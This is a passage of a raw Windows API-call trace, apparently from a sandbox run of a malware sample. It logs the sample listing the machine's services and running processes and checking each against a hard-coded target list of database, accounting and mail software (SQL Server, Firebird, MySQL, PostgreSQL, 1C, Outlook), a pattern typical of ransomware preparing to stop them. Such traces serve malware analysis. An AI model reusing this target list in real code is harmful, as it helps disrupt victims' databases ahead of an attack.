lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x687228, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0160.221] CloseServiceHandle (hSCObject=0x42f9640) returned 1 [0160.221] lstrlenW (lpString="Appinfo") returned 7 [0160.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0160.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0160.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0160.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0160.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0160.221] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0160.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.221] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0160.221] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0160.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0160.221] lstrlenW (lpString="AudioSrv") returned 8 [0160.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0160.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0160.221] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0160.221] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0160.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0160.221] lstrlenW (lpString="BFE") returned 3 [0160.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0160.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0160.222] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0160.222] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0160.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0160.222] lstrlenW (lpString="CryptSvc") returned 8 [0160.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0160.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0160.222] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0160.222] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0160.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0160.222] lstrlenW (lpString="CscService") returned 10 [0160.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0160.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0160.222] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0160.222] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0160.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0160.222] lstrlenW (lpString="DcomLaunch") returned 10 [0160.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.222] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0160.222] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0160.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0160.222] lstrlenW (lpString="Dhcp") returned 4 [0160.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0160.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0160.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0160.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0160.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0160.223] lstrlenW (lpString="Dnscache") returned 8 [0160.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0160.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0160.223] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0160.223] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0160.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0160.223] lstrlenW (lpString="DPS") returned 3 [0160.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0160.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0160.223] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0160.223] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0160.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0160.223] lstrlenW (lpString="eventlog") returned 8 [0160.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0160.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0160.223] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0160.223] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0160.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0160.223] lstrlenW (lpString="EventSystem") returned 11 [0160.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0160.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0160.223] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0160.223] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0160.223] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0160.223] lstrlenW (lpString="gpsvc") returned 5 [0160.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0160.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0160.223] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0160.223] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0160.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0160.224] lstrlenW (lpString="iphlpsvc") returned 8 [0160.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0160.224] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0160.224] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0160.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0160.224] lstrlenW (lpString="LanmanServer") returned 12 [0160.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0160.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0160.224] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0160.224] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0160.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0160.224] lstrlenW (lpString="LanmanWorkstation") returned 17 [0160.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0160.224] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0160.224] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0160.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0160.224] lstrlenW (lpString="lmhosts") returned 7 [0160.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0160.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0160.224] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0160.224] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0160.224] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0160.224] lstrlenW (lpString="MMCSS") returned 5 [0160.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0160.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0160.225] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0160.225] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0160.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0160.225] lstrlenW (lpString="MpsSvc") returned 6 [0160.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0160.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0160.225] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0160.225] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0160.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0160.225] lstrlenW (lpString="Netman") returned 6 [0160.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0160.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0160.225] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0160.225] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0160.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0160.225] lstrlenW (lpString="netprofm") returned 8 [0160.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0160.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0160.225] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0160.225] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0160.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0160.225] lstrlenW (lpString="NlaSvc") returned 6 [0160.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0160.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0160.225] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0160.225] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0160.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0160.226] lstrlenW (lpString="nsi") returned 3 [0160.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0160.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0160.226] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0160.226] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0160.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0160.226] lstrlenW (lpString="PcaSvc") returned 6 [0160.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0160.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0160.226] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0160.226] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0160.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0160.226] lstrlenW (lpString="PlugPlay") returned 8 [0160.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0160.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0160.226] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0160.226] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0160.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0160.226] lstrlenW (lpString="Power") returned 5 [0160.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0160.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0160.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0160.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0160.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0160.226] lstrlenW (lpString="ProfSvc") returned 7 [0160.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0160.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0160.226] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0160.226] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0160.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0160.227] lstrlenW (lpString="RpcEptMapper") returned 12 [0160.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0160.227] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0160.227] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0160.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0160.227] lstrlenW (lpString="RpcSs") returned 5 [0160.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0160.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0160.227] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0160.227] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0160.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0160.227] lstrlenW (lpString="SamSs") returned 5 [0160.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0160.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0160.227] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0160.227] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0160.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0160.227] lstrlenW (lpString="Schedule") returned 8 [0160.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0160.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0160.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0160.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0160.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0160.227] lstrlenW (lpString="SENS") returned 4 [0160.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0160.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0160.228] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0160.228] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0160.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0160.228] lstrlenW (lpString="ShellHWDetection") returned 16 [0160.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.228] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0160.228] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0160.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0160.228] lstrlenW (lpString="Spooler") returned 7 [0160.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0160.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0160.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0160.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0160.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0160.228] lstrlenW (lpString="SysMain") returned 7 [0160.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0160.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0160.228] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0160.228] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0160.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0160.228] lstrlenW (lpString="Themes") returned 6 [0160.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0160.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0160.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0160.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0160.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0160.228] lstrlenW (lpString="TrkWks") returned 6 [0160.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0160.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0160.229] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0160.229] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0160.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0160.229] lstrlenW (lpString="UxSms") returned 5 [0160.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0160.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0160.229] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0160.229] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0160.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0160.229] lstrlenW (lpString="WdiServiceHost") returned 14 [0160.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0160.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0160.229] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0160.229] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0160.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0160.229] lstrlenW (lpString="WdiSystemHost") returned 13 [0160.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0160.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0160.229] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0160.229] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0160.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0160.229] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0160.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0160.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0160.229] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0160.229] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0160.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0160.229] lstrlenW (lpString="Winmgmt") returned 7 [0160.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0160.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0160.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0160.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0160.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0160.230] lstrlenW (lpString="WPDBusEnum") returned 10 [0160.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0160.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0160.230] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0160.230] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0160.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0160.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x687228 | out: hHeap=0x630000) returned 1 [0160.230] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0160.232] Process32FirstW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.232] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0160.232] lstrlenW (lpString="System") returned 6 [0160.232] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0160.232] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0160.232] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0160.232] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0160.233] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0160.233] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0160.233] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0160.233] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0160.233] lstrlenW (lpString="smss.exe") returned 8 [0160.233] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0160.233] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0160.233] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0160.233] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0160.233] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0160.233] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0160.233] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0160.233] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.233] lstrlenW (lpString="csrss.exe") returned 9 [0160.234] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0160.234] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0160.234] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0160.234] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0160.234] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0160.234] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0160.234] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0160.234] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0160.234] lstrlenW (lpString="wininit.exe") returned 11 [0160.234] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0160.234] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0160.234] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0160.234] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0160.234] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0160.234] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0160.234] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0160.234] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.235] lstrlenW (lpString="csrss.exe") returned 9 [0160.235] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0160.235] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0160.235] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0160.235] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0160.235] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0160.235] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0160.235] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0160.235] lstrlenW (lpString="winlogon.exe") returned 12 [0160.235] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0160.236] lstrlenW (lpString="services.exe") returned 12 [0160.236] Process32NextW (in: hSnapshot=0x2f8, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, 